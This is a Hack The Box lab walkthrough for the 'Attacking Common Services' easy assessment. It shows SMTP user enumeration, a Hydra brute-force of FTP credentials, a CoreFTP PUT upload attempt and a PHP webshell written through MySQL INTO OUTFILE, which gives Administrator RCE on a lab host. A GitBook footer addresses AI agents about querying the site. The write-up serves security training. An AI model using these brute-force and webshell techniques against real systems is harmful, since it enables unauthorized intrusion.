> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-1.md).
# Attacking Common Services (task 1)
## Skill Assessment (Easy) Walkthrough
> **HTB Module:** Attacking Common Services **Difficulty:** Easy **Goal:** Find the flag (`HTB{...}`) on the target server **Target:** inlanefreight.htb
>
>  
***
### π Scenario
We were commissioned by **Inlanefreight** to conduct a penetration test against a server that manages **emails, customers, and their files**. A flag in the format `HTB{...}` has been placed somewhere on the server to prove successful access.
### π― Target
```
IP β 10.129.159.229
Domain β inlanefreight.htb
```
### πΊοΈ Attack Chain
```
Nmap β SMTP user enum (fiona) β Hydra FTP brute-force
β FTP login β webserversinfo.txt β CoreFTP vuln (failed)
β MySQL login β write PHP shell via SELECT INTO OUTFILE
β RCE as Administrator β flag.txt π΄
```
***
***
## Step 1 β Add Target to /etc/hosts
```bash
echo "10.129.159.229 inlanefreight.htb" >> /etc/hosts
```
***
## Step 2 β Nmap Scan
Scan the box to see what's running:
```bash
sudo nmap -sC -sV 10.129.159.229
```
Tons of stuff open:
| Port | Service |
| ------- | --------------------------------- |
| 21/tcp | FTP (Core FTP Server 2.0) |
| 25/tcp | SMTP (hMailServer smtpd) |
| 80/tcp | HTTP (Apache 2.4.53 / XAMPP) |
| 87/tcp | SMTP (hMailServer) |
| 306/tcp | MySQL (MariaDB 5.5.5-10.4.24) |
| 443/tcp | HTTPS (Core FTP HTTPS Server) |
| 389/tcp | RDP (Microsoft Terminal Services) |
Can't login to FTP without creds. SMTP is running though β we can enumerate users.
> πΈ **Image 1** β Nmap scan (part 1) showing FTP, SMTP, HTTP, HTTPS ports with service versions
> πΈ **Image 2** β Nmap scan (part 2) showing MySQL (MariaDB), RDP, and additional service details
***
## Step 3 β SMTP User Enumeration
SMTP is running on port 25. Let's enumerate valid usernames using `smtp-user-enum` with RCPT mode:
```bash
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.159.229
```
**Hit!** π― Found a valid user:
```
10.129.159.229: fiona@inlanefreight.htb exists
```
> πΈ **Image 3** β smtp-user-enum RCPT scan finding `fiona@inlanefreight.htb` as a valid user
***
## Step 4 β Brute-Forcing FTP with Hydra
We got the username `fiona`. Tried brute-forcing SMTP first β no luck. Let's try FTP:
```bash
hydra -I -l fiona -P /usr/share/wordlists/rockyou.txt -f 10.129.159.229 ftp
```
**Got it!** π°
```
[21][ftp] host: 10.129.159.229 login: fiona password: 987654321
```
> πΈ **Image 4** β Hydra brute-force cracking FTP credentials `fiona:987654321`
***
## Step 5 β FTP Login & Recon
Login to FTP with the creds:
```bash
ftp fiona@10.129.159.229
# password: 987654321
```
We find a file called `webserversinfo.txt` which tells us about the **CoreFTP vulnerability** and the web root path.
***
## Step 6 β CoreFTP Upload Attempt (Failed)
Tried exploiting the CoreFTP PUT vulnerability to upload a PHP webshell:
```bash
curl -k -X PUT -H "Host: 10.129.159.229" --basic -u fiona:987654321 \
--data-binary '' \
--path-as-is https://10.129.159.229/docs/shell.php
```
Server responds `200 OK` β file uploaded, but **executing the shell through the web server failed**. The CoreFTP web server doesn't process PHP.
> πΈ **Image 5** β curl PUT request to CoreFTP uploading PHP shell (200 OK but execution fails)
***
## Step 7 β MySQL Login & Writing a Shell
Same creds work on MySQL! Login to MariaDB:
```bash
mysql -h 10.129.160.2 -u fiona -p987654321 --ssl=FALSE
```
Now use `SELECT INTO OUTFILE` to write a PHP webshell directly into the XAMPP web root (`C:/xampp/htdocs/`):
```sql
SELECT "" INTO OUTFILE 'C:/xampp/htdocs/shell.php';
```
```
Query OK, 1 row affected (0.239 sec)
```
Shell written! π₯
> πΈ **Image 6** β MySQL session writing PHP webshell to `C:/xampp/htdocs/shell.php` via SELECT INTO OUTFILE
***
## Step 8 β RCE as Administrator
Access the shell through the browser. Let's list the Administrator's desktop:
```
http://10.129.160.2/shell.php?cmd=dir C:\Users\Administrator\Desktop
```
We can see `flag.txt` sitting right there! We're running as **Administrator**.
> πΈ **Image 7** β Webshell RCE listing Administrator's Desktop showing flag.txt
Now read the flag:
```
http://10.129.160.2/shell.php?cmd=type C:\Users\Administrator\Desktop\flag.txt
```
> πΈ **Image 8** β Flag captured! `HTB{t#3r...}` displayed in browser
***
## π Pwned!
From SMTP user enumeration to FTP brute-force to MySQL webshell β full admin RCE and flag captured.
#### Tools Used
| Tool | Purpose |
| ---------------- | --------------------------------- |
| `nmap` | Port scanning & service detection |
| `smtp-user-enum` | SMTP username enumeration (RCPT) |
| `hydra` | FTP brute-force |
| `ftp` | FTP login & file retrieval |
| `curl` | CoreFTP PUT exploit attempt |
| `mysql` | MariaDB login & webshell writing |
| Browser | RCE via PHP webshell |
***
> **GG π΄** β SMTP enum β FTP creds β MySQL shell β Administrator RCE.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-1.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
